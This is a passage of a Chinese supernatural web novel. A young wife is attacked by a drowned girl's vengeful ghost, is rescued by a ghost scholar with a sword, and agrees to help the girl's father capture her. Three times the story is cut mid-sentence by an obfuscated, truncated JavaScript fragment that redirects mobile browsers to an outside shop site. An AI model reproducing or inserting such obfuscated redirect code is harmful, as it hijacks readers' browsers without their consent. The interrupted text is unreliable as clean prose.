陆魂没有隐去身形,不防让贺文卿撞到了,魏姻愣了好一下,一时不知怎么该跟贺文卿解释。 总不能说,这位就是当年死去的举子陆魂吧? 那贺文卿一定又会骂她荒唐了。 贺文卿这人向来是不好搪塞过去的,魏姻想了想,只得道:“郎君,这是妾身的表弟。” 15. 第 15 章 她脑子里第一时间闪过昨晚陆魂离开前说的那句话,难道是……? 魏姻不敢再脱衣,紧紧握住平安符,小心透过横在身前的一扇屏风朝门口看过去。 门外,有一道逐渐清晰的脚步声响起,接着,净室虚掩的门就被什么人推开了来,现出一抹粉色的身影,虽有氤氲的水雾将整个净室模糊着,但魏姻看到,那其实不是什么鬼,而是昨日才来给她请过安的陈宣华,她身上还是那身粉色衣裙,只是手里多了一个食盒。 陈宣华小心来到魏姻面前,见她睁着眼睛愣愣地盯着自己的脸看,顿了下。 “姐姐,你这是怎么了?” 她最近太过紧张了,魏姻捂着自己的胸口。 “你怎么过来了?” “听说姐姐昨儿一回来便在房中睡了一天一夜,也没有怎么用饭。”陈宣华说道:“我便给姐姐炖了碗汤,做了几样吃食过来,姐姐沐身的时候正好可以吃。” 魏姻:“是这样啊,那你放下吧,我正好有些饿了。” 陈宣华笑了笑,将食盒放在一旁的白玉案上,见到魏姻准备沐身,魏姻外面的罩裙已经脱下了,露出脖子上一块熠熠生辉的宝玉,那宝玉是红翡做的,外层是用金银线堆出一朵花托将宝玉托住,再简单用两根长长的红彩绳坠在了脖子上。 陈宣华小声询问道:“姐姐这宝玉真是好看,可能让我看看?” 魏姻闻言目光瞬间一紧,但陈宣华的神情并无什么异样,仍然和平日那样小心温和地望着她,魏姻这才略微放松一些,但她记得陆魂那话,知道平安符是不能离身的,于是只用手将平安符托起:“我摘下来又总怕自己忘了,若是表妹真要看,那便就这样看两眼吧。” 陈宣华也没有非让她拿下来,很乖顺地就弯下腰来看被她托在手心里的平安符。 “真是个好宝玉,做工精巧,玉里边又透亮又干净,摸在手里又觉得温润。” 陈宣华夸赞道。 面上依旧恭顺温柔,说话的声音也和平时一样和和气气的,看不出有什么不对劲的地方。 可就在陈宣华说出最后这句话的时候,她浑身骤的抖了一下,魏姻忙问她怎么了,然而,陈宣华方才还很正常的神情一瞬间变得呆滞起来,她直勾勾地盯着魏姻的平安符,跟着便猛地用力将它狠狠一扯,将它从魏姻的脖子上给硬生生地拽了下来,巨大的擦力,让魏姻痛得只顾捂住被磨得发烫的脖颈,然而,陈宣华却没有再看魏姻一眼,拿着平安符直接跑了出去。 魏姻根本没有想到陈宣华竟然会突然上来抢。 她强忍着痛,追出去。 然,她还没走到门口。 净室的烛火歘然灭掉。 周围顷刻陷入一片昏暗不明。 幸好还有高窗那边透进来一些幽白的月光,一片昏晦中,魏姻接着看到,净室的那扇门被一阵风从外面“啪”地一声给关上了,她连忙上去试着打开,却发现这扇门像是生了绣一样,怎么也拉不开。 这时,她依稀感到,脚下有一阵涌涌凉意。 她低头看去,瞳孔震惊缩起,不知何时,净室里竟然不知从哪里灌了一地的水进来,随着她瞪大眼睛,那水越流越多,如今还在以肉眼可见的速度从她的脚踝、小腿、淹到腰部、淹到胸口…… 昨天夜里被拖入河里的窒息恐惧感再次来临。 她虽不知道这一幕到底是怎么回事,但眼看着那水越来越多地从什么地方泄洪似的灌进来,白玉案上的食盒都飘在了水上,即将要没过她的头,求生本能,让她下意识搜寻起能够躲避洪水的高处。 可这净室并不大,只有浴桶,以及白玉案,这些东西都低矮得被水给淹了,就连那扇很大的云母屏风,也被水冲倒在地。 出不去,魏姻只好踩上白玉案,勉强让自己高一些。 她原以为那水,应该不会再涨了。 可谁知道,却仍然刷刷不断地上升着。 后面,直接灌到了她的口鼻。 魏姻感觉自己已经无法呼吸了,可越濒临死亡,她的脑子反而变得冷静起来。 她终于察觉到了一丝不对劲。 净室怎么可能会有洪水呢? 就算哪里真泄了洪,但这可是荒州,常年容易干旱,八百辈子都没见闹过洪的。 她记得陆魂曾说过,鬼只能缠人病衰而死,或用鬼术制造恐惧,蒙住人眼。 这不会又是—— 想到这,她试着让自己慢慢镇定下来,不要去害怕眼前的东西。 渐渐的,她好像真的听不到耳边有什么洪水不断灌进来的声音了,她睁开眼看,发现净室里一片正常,浴桶在原地散发着氤氲水雾,白玉案上的食盒安安稳稳被放置在那,那扇云母屏风也依旧静静地立在原地没有被洪水冲倒。 而之所以窒息。 是她的一双手,用力掐在了自己的脖子上。 刚才的一切。 全是幻象。 魏姻被这诡异的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615269|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一幕给弄得头皮发麻,不敢在净室里呆下去了,连忙往门外跑,然而,她刚将手放在门上,双脚就被什么东西死死箍住了,她心跳一漏。 缓缓的,缓缓的。 鼓起勇气低头望去。 箍住她双腿的,是一双极瘦小、极苍冷的胳膊,而这双手的主人阿珠则蹲在她的脚边,脸埋在膝上,长发遮住了脸。 须臾后,阿珠才慢慢的,将自己的脸从蓬密的长发里抬起,巴巴张望起四周,她极依恋地,用自己那瘦长的胳膊将魏姻的小腿再往怀里搂了搂,而后,便自顾自地将脸贴到她的小腿上。 “阿爹,你来了,是来带阿珠出去的是不是……” 魏姻身上虽穿着衣裙,却感到下面两条腿湿冷湿冷的,跟刚洗的衣裳没有晒干就直接穿在身上那样让人浑身不自在。 阿珠见她不说话,有些慌乱起来,两只鬼手试探性地往魏姻腰上摸,但动作是极小心的,她旁若无人似的,轻轻握住了魏姻的一只手,仿佛魏姻就是她的阿爹胡大田。 “阿珠真的好怕。” “阿珠以后会好好听阿爹话的,阿爹不要关阿珠,好不好?” 魏姻根本哆嗦得半句话都挤不出来。 阿珠见魏姻半天没有反应,她终于意识到了什么,小心翼翼将脸抬了起来。 “啊,你不是阿爹……!” 她终于清醒了一些,可下一刻却变得更加癫狂恍惚了,她那青涩的少女面容不见了,变成了一张腐烂生蛆的脸孔,她将脖子伸得老长老长,脖颈那处青筋扭曲,就好像万千只小蛇在里面钻来钻去似的,不合身的红嫁衣里面,一双手也变得血肉模糊。 “阿珠不要被关起来,阿珠不要被关起来,阿珠不要!” 她直桩桩地就从地上顶了起来,两个要随时掉下眼眶的眼珠子,开始狞笑盯着她。 “阿福啊,以前二叔二婶总把你给阿姐带着,阿姐经常给你和阿虎他们讲故事,给你们做饭,可是现在姐姐一个人在这里好冷,好痛,好怕啊,你来陪陪阿姐好不好?阿福……噢不对,你不是阿福,你把阿福带走了,那你替阿福来陪我吧……” 她说这话的时候,嘴巴在动,嘴巴里面黑黄的尸水合着脸上的肉还有蛆虫什么乱七八糟的东西一并簌簌往下抖,整个鬼癫狂混乱得很。 魏姻闻到了那刺鼻到天灵盖都激灵一下的腐臭味。 还没等她“呕”地一声吐出来,阿珠已经猛地用那烂掉的十根手指一把掐住了魏姻的脖子 16. 第 16 章 殊不知,在她们的身后。 那扇关上的净室门,却悄然无声地自己打开了。 一道长影慢慢从昏暗不明的长廊里往这边走来,是陆魂,他撑着竹骨纸伞走来了,看到眼前的场景后,他停住脚步,静静地盯着。 阿珠听到动静,浑浑噩噩地掉过头去,看到来的是他,掐着魏姻脖子的手显然巍巍抖了一下,但又很快再次陷入癫狂了。 “别以为有那东西就能管我的事了,滚!” 陆魂却只是神色淡淡地望着她,好像根本看不到阿珠的狰狞疯癫,只面无情绪地,垂眸,开口喊了一声。 “破军。” 便见着,他手里的那把灰绿的竹骨伞,竟然开始激烈地颤鸣起来,从伞柄开始,一点点往上发出刺眼绿光,等绿光消散,那把伞已然变作了一把被陆魂握在手上的,足抵他胸口高的长剑,长剑锈迹斑斑,隐隐透绿,这剑,似乎才是它真正的形体。 跟着,这把叫“破军”的锈剑,骤然爆发出一股极其庞大的杀气和威压。 方才还在那浑噩发狠的阿珠。 这会儿,全身颤栗了起来,她这时彻底清醒了,什么也顾不得了,只知道一把甩开魏姻,就要往高窗那边跑…… 但陆魂并不打算再放过她,将剑随意向屋里轻轻一扔,只听“嗖”地一下,剑就像是长了眼睛似的地直接拦在了高窗上。 阿珠见状。 只得一步步往回退着。 但很快,她又注意到了一旁还有个浴桶,于是立即直奔浴桶。 陆魂意识到她的想法,连忙出声:“破军,拦住她。” 还是晚了一步,破军剑身太长,净室又窄,它才调转过剑头。 阿珠已经一个猛子扎进了水里。 眨眼就不见了,只有水声还在那微微晃荡着。 陆魂站在浴桶边,往里瞧了一眼。 只剩锈剑浮在上面。 他伸手,将剑从水里面捞出来。 魏姻呆呆望着他手里的长剑,即使远远地望着,也能感觉那剑杀气森森,好像饮过无数性命,陆魂并未理会,用着衣袖将剑上面的水渍擦拭去,随后,又听他低低喊了声“破军”,那剑便又重新变回了他手里常撑的那把灰绿竹骨伞。 魏姻则软绵绵跌坐在地上,这会儿连起来都懒得,干脆跪坐在地上不动了,“阿珠她……” “跑了。”他哑声道,过了一会儿,又似乎是怕她不明白,解释道:“阿珠是得水煞化鬼的,若碰到了水,鬼气便会短时间大盛,极易逃脱。” 魏姻怔怔点头,声音听起来虚虚的。 “我不过就是救了阿福,她就这么记仇,竟然都寻到这里来了……” 陆魂这时,终于回头朝她看了过去,因为要沐身,魏姻的外裙脱了去,如今只着了件绸衣在里面,因着之前的一翻折腾,此刻那件软滑绸衣上面的衣带散开了两个,露出脖颈到锁骨一大片雪腻的肌肤,见状,他连忙偏过头去。 “你……穿好衣裳,再出来。” 他说着,便先抬步走了出去。 魏姻倒没有注意到自己身上的衣带散了没有,脑子里全是方才吓人的经历,闻言才想起自己身上还汗糊糊一片,她实在受不了,虽心底有些怕,但还是硬着头皮趁着浴桶里的水还热,洗了洗,而后,连忙穿上一旁丫鬟早已备好的干净衣裳往外走。 此刻,屋里的所有烛火都已经被灭掉了,月光也移了去,整个净室黑得几乎不见五指了。 望着四周一片漆黑,脚下的路也分不清,她往大约是门口的位置看了一眼,门似乎被陆魂虚虚掩住了,更黑了,但她又不敢跟一个鬼说什么,只能自己摸摸索索地往外挪。 净室外的一段路,也黑魆魆。 磕磕绊绊的,将膝盖都不知道在什么东西上撞了好几下。 走着走着,忽然发现脸前伸来一条软软长长的东西。 她愣了下,跟着听到在她前面半步距离的方向,传来陆魂很轻的说话声:“牵着这个走。” 魏姻试着摸住它,才意识到这是陆魂方巾后面的一条飘带,这个带子长到他的腰下,魏姻明白过来,他发现她看不到路,这是要她牵着他的飘带出去。 她心中直生出一丝怪异。 将带子在腕上缠了两圈。 方巾的飘带是较粗糙、硬的青葛布做的,有些磨她的肌肤。 魏姻正低头去看飘带呢,猝不及防,听到一阵轻微的鸣叫,有点像两把刀剑砍在一起时发出火光摩擦声,她几乎下意识条件反射地停下脚步:“陆陆陆陆陆陆魂!” 陆魂:“嗯?” “你有没有听到什么声音!” 前面的脚步跟着停了下来,片刻后,传来少年的轻声解释:“无事,是破军它在叫。” 魏姻啊了一声。 “今日破军现了身,有些高兴,所以闹腾了点。” “破军?” 少年的背影停顿了片刻,这才继续说道:“当年我死后不久,圣上北征回京,恰好经过我的坟地,那时北虏差不多平息了,圣上觉得这十数年带着破军到处杀伐杀气太重,晚年不该再造杀业,又听说了我当年……突然身死的事,便干脆将破军埋在了我的坟边,若有冤情,让我用破军为自己雪冤。” 魏姻这才恍然记起,以前确实听父亲说过,圣上曾经是有一把叫作“破军”的贴身佩剑,跟随他南征北伐多年,只是后来就不知去了哪里,还以为是被收进内府封藏了,原来是被圣上埋进了陆魂坟里。 而正如陆魂之前所说的那样,人死后成鬼,需要一定的机缘,是因为圣上将这把破军埋进了陆魂坟里,破军是把宝剑,又日夜跟随圣上征伐,饮足鲜血,沾满死者煞气,陆魂这才得以借势成鬼吧……? 然而,听着陆魂最后那句话,她心又一凛。 雪冤? 难道当日陆阿婆说他被人害死的那话,竟是真的? 但魏姻并不敢问,只在心里嘀咕着。 “因着破军和你的平安符都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615270|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣上的东西,所以,平安符对我没有办法。”陆魂好像低下了头,声音听起来平静得像死了一样:“破军伴着圣上多年,杀气深重,一般的鬼很怕它……” 魏姻恍然大悟,难怪! 难怪平安符对他没一点用。 说着话的时候,魏姻倒也渐渐从方才的惊吓中缓了过来,不知不觉间,就摸摸索索从净室那片黑暗里走了出来。 脚下渐渐有了没有熄灭的灯笼照着路。 魏姻能看见路了,连忙悄悄松开他方巾飘带,陆魂仿若未觉,继续撑伞往前走着。 他们才走两步,看到了倒在一个回廊下的陈宣华。 陈宣华眼睛闭得死死的,手里还握着魏姻的那块平安符。 魏姻立刻说道:“这是我郎君的表妹,方才沐身的时候,她过来了,要看我的平安符,结果她便突然从我脖子上将它扯走了……” 陆魂没作声,上前凝了眼,而后才从陈宣华的手里,将平安符拿了出来,递给魏姻:“她应是被阿珠迷住了眼。” “阿珠知道平安符的厉害,若不将你的平安符拿走,近不了你的身,便不知怎么就迷住了你夫婿这表妹,让她来拿,不过无碍,只是昏了过去,去叫人送她回房吧。” 魏姻点点头,正想去叫人将陈宣华送回西院,便见听到动静的刘嬷嬷,从后门方向大步走了过来。 陆魂没有料到刘嬷嬷此刻会突然出现在这里,想隐住身形,但显然已经来不及了,他向来不愿跟生人接触,于是从陈宣华身边退开,将破军化伞,遮住大半张脸。 刘嬷嬷起初还以为魏姻是跟贺文卿在一起,走近一看,才发觉站在魏姻身后的并不是大郎,而是今日才来府上的表少爷,她忍不住奇怪地朝他身上望了好几眼,这表少爷确实是古怪,无论白天还是黑夜都爱撑着一把伞呢,弄得她到现在都没看清表少爷究竟长什么样。 不过,当她注意到昏倒在地上的陈宣华,立刻被转移了注意。 “天哪,表小姐怎么了,这是出了什么事?难怪我方才在后门就听着这里有什么怪声响……” 魏姻怕将奶娘给吓着,没提刚才的事,只道:“方才宣华来给我送吃食,我沐身出来的时候就见她晕在了这里,想来应该是这两日给累着了,奶娘,你找人送她回去吧。” 刘嬷嬷知道陈宣华一向身子弱,闻言倒也并未多想,赶紧叫来人将陈宣华送回西院。 刘嬷嬷也得一块去看看,到时候还要将这事跟贺夫人和贺文卿说一声,在临走前,刘嬷嬷才想起正事,跟着道:“对了,少夫人,方才我从后门过来的时候,见着有个庄稼汉子来咱们府上找一位夫人,那庄稼汉子神色匆匆,看着怪不对劲的,满身的烟味,我听着这边动静便急急忙忙赶过来了,还没来得及问呢,也不知是怎么一回事……” 庄稼汉子? 难道是胡大田? 他这么晚了来贺家做什么? 魏姻疑惑地朝身后的陆魂撇去一眼,“我晓得了奶娘,你先去吧。” 17. 第 17 章 贺府后门处的墙角,种着一架老桩紫藤,紫藤没有经过刻意的修剪定形,任由它胡乱长势,如今长得有些七扭八扭,其中的一部分已经攀在门外那面墙头上了。 而就在伸出去的那处紫藤的门外墙根下,此刻蹲坐着一个在那闷头抽土烟、背脊无力往下佝偻的庄稼大汉,正是住在河庄的胡大田。 这胡大田本来就形容憔悴,然而只是过去了一天一夜,整个人却像直接苍老了好几岁似的,眼窝深陷得十分厉害,胡子头发杂乱,身上穿的短褂甚至远远的就能闻到一股说不清楚的闷酸怪味,像是刚顶着暴日干完一整天的庄稼活后,一身臭汗不洗便直接合衣睡下的味道。 他一边抽着烟,一边往紧闭的贺府后门上瞧。 街上偶有几声不知是什么的怪鸟叫声响起,他每次都会紧张得往叫声传来的方向飞快瞟去一眼,望见黑漆漆的夜,又会马上埋下头去,握紧手里土烟猛吸几口。 明显有些不太对劲。 但他仍然蹲在墙根下面不愿意挪动半分,小心而又焦急地盯住后门,好像只要一有人从后门走出来,他就会直接扑上去。 魏姻过来的时候,看到的就是这副模样的胡大田。 胡大田听到开门声,忙抬头望了过去,见是魏姻,他立马贴着墙根撑着身体站起来,满脸忐忑地望着魏姻。 魏姻瞥眼自己的右手边,虽然什么都没有,但她却隐约感觉到隐住身形的陆魂似乎就站在她这边上,这才重新看向胡大田。 “你这是……” 胡大田迟疑片刻,终于开口:“我……我想夫人帮帮我那几个孩子。” 魏姻愣住。 他这是什么意思? 胡大田叹口气,说道:“是这样的夫人,就我那去了的闺女阿珠,其实在她死后没多久,我家里就常生出些怪声了,阿珠她似乎……回来缠着阿虎他们姐弟几个了,起初,我这人是不相信的,但后来听到隔壁邻里说他看到了,我又去问了我的小儿子阿虎,这才有些半信半疑,不过我却一直只听到一些怪声,没有和阿虎他们那样见到过阿珠,直到,夫人您那天离开后,我看到,阿珠她真的回来了——” 他说到这里停顿了下,语气渐渐凝重:“就在昨夜里……” 胡大田于是将昨日那胆战心惊的一夜说了出来。 昨夜里,胡大田心里装着阿福的事,感到很不安,白日里不敢再留着几个孩子们独自在家中,便只好在家中一边守着,一边干些简单的活计,白天里倒也没发生什么,平安过去了。 入了夜,他便带着孩子们早早地吃了晚饭睡下。 然而胡大田睡到夜半的时候,却模模糊糊地听到孩子们睡觉的屋里有玩闹的声音,他睁开眼看去,屋里面点起了灯,刚开始他以为阿虎他们睡不着,在玩呢,就起身去骂他们,结果走到门边,却听到了里面不止有阿虎阿玉阿狼他们三姐弟在说话,还听到了阿珠说话的声音。 阿珠的声音听起来跟生前的差不多,就是孩子们你一句我一句,站在门外有点听不清楚在说什么。 不过看样子,好像是在与阿虎他们玩游戏。 说实话,胡大田并不害怕死去的女儿,可他害怕阿珠含恨惨死,会害阿虎他们,胡大田当即吓得赶紧用力去推门。 但那门不知道怎么回事,怎么推都推不开。 胡大田急得一脑门的汗,立刻使劲拍门,叫阿虎他们。 可是里面的阿虎他们却像是根本听不到胡大田的声音似的,依旧自顾自地和阿珠说话玩闹。 胡大田恼了,拿着东西朝门上又砸又摔,都没有一点用,门就是打不开,他没了办法,只能跑出去叫庄子里的人来帮忙,可整个庄子的人家也跟阿虎他们一样,任由他怎么叫门都没有反应,完全睡死了一样。 就这样,胡大田只能眼睁睁地坐在门边,听着阿珠和阿虎他们在屋里边玩闹说笑,直等到天亮鸡叫起来的时候,门才能打开。 他奔进去一看,发现阿虎他们姐弟已经睡下来了,胡大田把他们叫起来问,阿虎他们才说,昨天阿珠姐姐确实回来陪他们玩了。 问他们为什么不给阿爹开门,阿虎他们却说: 根本就没有听到阿爹在外面叫他们呀。 胡大田心里顿时咯噔起来。 之前刘氏他们都风言风语说,河庄那条山道常出事,怕是阿珠变成了厉鬼在报复大家,胡大田是不不信的,在他眼里,阿珠是个懂事善良的孩子,即使真的变成了鬼,那也不会这么残害别人。 但刘氏笑他,变成了厉鬼哪还有人性? 上次,阿福跑到河里淹死自己,如今又关着阿虎他们在房里,这接二连三的事,让他再不敢不相信了,于是在家里给孩子们烧好饭后,将胡大力夫妇俩又叫到家里守着,便赶紧趁着白天,来到了贺家,直等到现在。 胡大田苦着脸说:“夫人,您上次来的时候,我不敢将阿珠回家闹腾这事告诉您,一是怕吓着您,二是……我实在是愧对那孩子,一提起心里头就难受,可如今实在没办法了,我怕阿珠那孩子会对阿虎他们下手,夫人,您前夜既能从阿珠手里将阿福救下来,想必是有法子的,请您救救阿虎他们……” 魏姻没有想到,胡大田来找自己,竟然是让她去对付阿珠……她回忆起阿珠那副骇人的腐尸,双腿便感到一阵发软,站不住。 开什么玩笑? 让她去对付厉鬼? 她现在还正想找几个高人来保护她呢。 更何况…… 魏姻想起那天在石屋边上看到的阿珠,她只是一个十三四岁的小姑娘,畏畏缩缩地蹲在墙角,连做了鬼都是一副惊恐不安,神情恍惚的模样,死的时候不知有多难捱,而这一切,却是她的亲生父亲亲手造成的,她临死前,都还满心期盼着阿爹能够救她出去,却终究还是绝望死去,如今回家去闹,倒也是胡大田自己自作自受了…… 魏姻心里一阵不是滋味,拒绝了:“我也只是凑巧罢了,并非真有那样的本事,你还是另找他人吧。” 胡大田苦涩张了张口,“那……我的孩子们怎么办……” 他失神落魄地垂下脑袋,呆呆站立在那儿,魏姻面无表情地望了他一会儿,转身要走。 这时候,魏姻听到身旁不远处的地方,传来了只有她才能听到的少年声音。 “答应他。” 魏姻猛地掉过头去。 “如今阿珠怨气深重,已成厉鬼,神智时有时无,见了谁都索命,河庄那条山道已经有不少人都出了事,再放任下去,很快就要化聻了,届时,神智会彻底丧失,完全只凭本能行事,到时整个河庄百十口人家都会被聻气笼罩,轻则户户人家家运败落,重则容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615271|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易短命横死,更何况……” 陆魂的声音顿了下,一字一句: “厉鬼最是记仇,你已经得罪了她,凡是与她有怨的,便会被她凭本能纠缠到死。” 魏姻瞪大眼睛,那岂不是真的阴魂不散了吗? “所以。”陆魂说:“要将她在化聻前,捉住,送去附近的普渡寺,那里有一位高僧坐镇,可以化掉她的怨气,不然一旦完全化聻,只会完全变成一具行尸走肉,无法转生。” 魏姻很快皱了皱眉头,听他这个意思,不会是要她去捉鬼吧……? 她的话虽不曾问出来,但陆魂仿佛看出了她的想法,点了一下头。 魏姻脸上的神情艰难地变幻了几下,她如果不去,那么阿珠就会一辈子都纠缠她,可是,要让她去主动面对鬼,还是只厉鬼,她身上更是一阵鸡皮疙瘩。 胡大田站在原地发了一会儿闷,抬头望望魏姻,又低头去看自己手里的烟管,好半晌似乎才明白过来自己有些强求于人了,于是彻底垂下头去,打算离开。 魏姻只得,叫住了他,“老伯,我同你去。” 胡大田身子一愣,跟着才不敢置信地转过身,生怕她反悔,便要激动地朝着魏姻跪下,魏姻连忙让他起身,胡大田小心请求道:“夫人,今夜我怕那孩子还会来家里,如今让我那弟弟和弟媳夫妇在家中看着阿虎他们,现今夜色快深了,还请夫人能够快些随我去家中,再晚些,我怕又出什么事了……” 魏姻苦着张脸,点头。 但是要去捉鬼,也不能随便,她想要带些府中的小厮去,人多力量大,打不过,兴许也能扛一扛,而且胡大田家里太过简陋了,她呆不习惯,应该再带几个丫鬟去服侍自己,对了,还要备上一些茶点零嘴,陆魂听到她的这些想法,只轻轻说道。 你是想让贺大人知道吗? 魏姻二话不说,立即打消了这些念头。 胡大田于是忙从一旁捡起灯来,点亮,走在前面照着魏姻在后边走,魏姻再次往边上望了望,什么都看不见,但明显感觉到陆魂应该还在边上站着,魏姻看着眼前这越来越诡异的事情,按了按眉头,硬着头皮跟上胡大田。 又是在这样黢黑的夜里走着,不过这次好歹是有个活人在,魏姻没有像之前那样不安。 临近河庄之时,在前面领路的胡大田却慢慢停下了脚步,他一副欲言又止的模样,显然是想说些什么,魏姻皱着眉头,直接开口问他:“老伯可是有什么话要说?” 胡大田沉默再三,最终,还是说了出来:“夫人,以前我听庄里一些老人说,若是魂灵没了,那便是连投胎转世都不行了,我那孩子如今虽说是成了那副模样,可到底也是我亲生的女儿,当初……是我对不起她,还请夫人能够手下留情,只将她收了便是,千万不要害了她的魂灵……” 魏姻神色复杂地望着眼前正当中年便苍老下去的庄稼汉。 “我会送她去普渡寺,超度的。” “那便好,那便好……” 胡大田没有再吭声,继续弓着腰在前面照着路。 很快,来到了河庄。 他们刚走进胡大田的小院里,正好撞到胡大力和刘氏夫妇从屋里神色匆匆地走出来,这夫妇俩不成想会刚好与回到家中的胡大田打上照面,面上瞬间一阵讪讪。 “大哥……” 18. 第 18 章 胡大田问:“我不是让你们守着阿虎他们么,你们跑出来做什么?” 胡大力和刘氏还没来得及说话,一个十二岁左右,长得竟然和阿珠有几分像的小姑娘跟着从屋里跑了出来,应该就是胡大田的另外一个女儿阿玉了,阿玉嫩声嫩气地对胡大田说道:“阿爹,二叔和二婶说阿姐会回来害我们,他们不能让阿姐将他们也给害了,所以要回家去……” 胡大力羞愧地低下头去。 然而刘氏却毫无愧色,反而理所当然道:“大哥,你这话就不对了,谁知道阿珠她到底什么时候会突然跑来,她要害阿玉三姐弟,但你也不能让我们两口子给你儿女垫背呀……” 胡大田想不到刘氏竟然会说出这么没良心的话,平日里,他为了贴补胡大力一家,几乎累垮了身子,不说阿珠了,就是大一点的老二阿狼,有时还老被刘氏喊去给他们干些杂七杂八的粗活,前些年,胡大田好不容易从牙缝里攒出一些钱打算让阿狼去学堂读书,但后来刘氏却嚷着哭着说胡大力没用,说阿福那样“聪慧”的孩子却到了该上学的年纪还没钱去学堂启蒙念书,这前程白白耽误了。 胡大田被刘氏一把泪一把鼻涕说得有些于心不忍。 胡大田想起父母死前,拉着他的手千叮咛万嘱咐,说大力他人长得丑,又没有什么气力,脑子也不灵,以后都得靠他这个做大哥的,要胡大田好好帮衬弟弟。 后来胡大力也被刘氏拉着一起求他。 夫妇俩又是鼻涕又是泪的。 胡大田实在扛不住,便让满心期待去学堂的阿狼晚几年再去读书,先让侄儿阿福去。 胡大田心里盘算着,反正这都是胡家的孩子,日后若是阿福读书有了出息,那自然也能带挈带挈阿狼他们,谁去读书都一样,日后再攒些钱,送阿狼去也不迟的。 可谁想……阿福他根本就不是这块料。 胡大田心里有些翻悔了,但是他既然都答应了胡大力刘氏供阿福念书,也不好再反悔。 一旁,躲在刘氏身后的胡大力,看大哥第一次这样动怒,心里还是有些怵,赶紧讪讪上前:“大哥,阿福娘她嘴笨,其实不是这个意思,我们夫妇怎么会那样做呢?我们只是想着,阿福一个人在家里,若是阿珠去找阿福可如何是好?便想回去先看看阿福,若是阿福没事,再回来……” 胡大田怒意稍歇,狐疑地道:“你是这样想的?” “自然是了。”胡大力忙说:“阿狼他们好歹也是我的亲侄女侄儿,我便是再不好,也断断做不出这么没得良心的事。” 魏姻在边上看着这一家人,不动声色地笑了笑,她将目光望向跟在胡大田身边的阿玉,这个跟阿珠长得很像,但比阿珠多了些英气的小姑娘,紧紧皱着眉头瞪着胡大力和刘氏夫妇。 待他们夫妇离开了,她才拉了拉胡大田的手,“阿爹,你不要信二叔二婶的话,他们就是害怕阿姐才走的,才不会再回来呢……” 胡大田不待二女儿把后面的话继续说完,便直接不悦地打断了:“阿玉,做晚辈的怎么能嚼长辈舌根呢?你二叔二婶说得对,阿福一个人在家,他们忧心是自然的,阿爹不许你再这样说自己的叔婶,一家人怎么能说两家话呢?听到没有?” 阿玉住了嘴,咬着唇瓣望望自己的阿爹,最后只得在胡大田不太高兴的目光下,低低应了声‘听到了’,眼睛往屋门口注视去。 那里还站着一个十二岁左右的男孩,身上穿的衣裳比妹妹阿玉要陈旧单薄得多,但看着很干净整洁,估计就是胡大田的二儿子阿狼了,他生在庄稼人家,但却带着些文弱气,看着就像是进过学读过书,学过礼数的孩子,可他的目光却尤其的冷淡,尤其是望着自己的父亲和二叔二婶三人时。 阿玉于是从胡大田身边直接跑开了,朝着阿狼奔去。 阿狼牵起妹妹的手,眼神略柔了些,跟着就将妹妹牵了进屋。 胡大田沉默地望了一会儿回屋的儿女们,见魏姻一直望着他们,便解释道:“这是我的大儿子和二女儿,阿狼阿玉这俩孩子从小就是阿珠带大的,跟阿珠感情最好,自阿珠死后,一直有些难过,也就阿虎那孩子,年纪小,还不明白阿珠死了,一直以为阿珠只是去了大户家里做事,说起来,要不是阿虎说出来,我们都不晓得阿珠她回家了,不过我问阿狼和阿玉,他们什么都不肯说,要不是昨日我真撞见了,还一直想着是不是阿虎在乱说……” 魏姻听着这话,将目光再次往方才两个孩子站的地方扫上一眼。 胡大田望了一眼天上的月亮,“夫人,时辰不早了,我看阿珠似乎快来了……” 魏姻则望向身侧。 陆魂的声音很快出现在她的耳边,“阿珠感觉到破军的杀气,我若是进去了,她便不敢再现身了,所以,你得和胡大田两个人进去,进去后,要将屋里的水都拿出去倒掉,一点不留,然后便让他如常守在外间,你到阿玉他们屋里去。” 魏姻紧张地赶紧用很低的声音问:“你……让我一个人去?” “嗯。” 他的声音听起来还是那样没有什么情绪:“我会在附近看着。” 魏姻深吸口气,要她一个人面对厉鬼,心里有点怵,磨了半天,她无可奈何硬着头皮进去了。 三个孩子在里屋床上坐着,阿玉依偎在哥哥阿狼的身后,目光惶惑又似乎不太高兴地望着魏姻,阿狼坐在床中间,一手牵着阿玉,一手将阿虎抱在腿上,他看着魏姻的目光更冷淡了,见魏姻望过来,他和阿玉齐齐地转过了头去,看向别处,他们兄妹俩都知道今晚胡大田和魏姻想做什么,只有阿虎完全懵懵懂懂的样子,睁着一双黑溜溜的大眼睛好奇地望着魏姻。 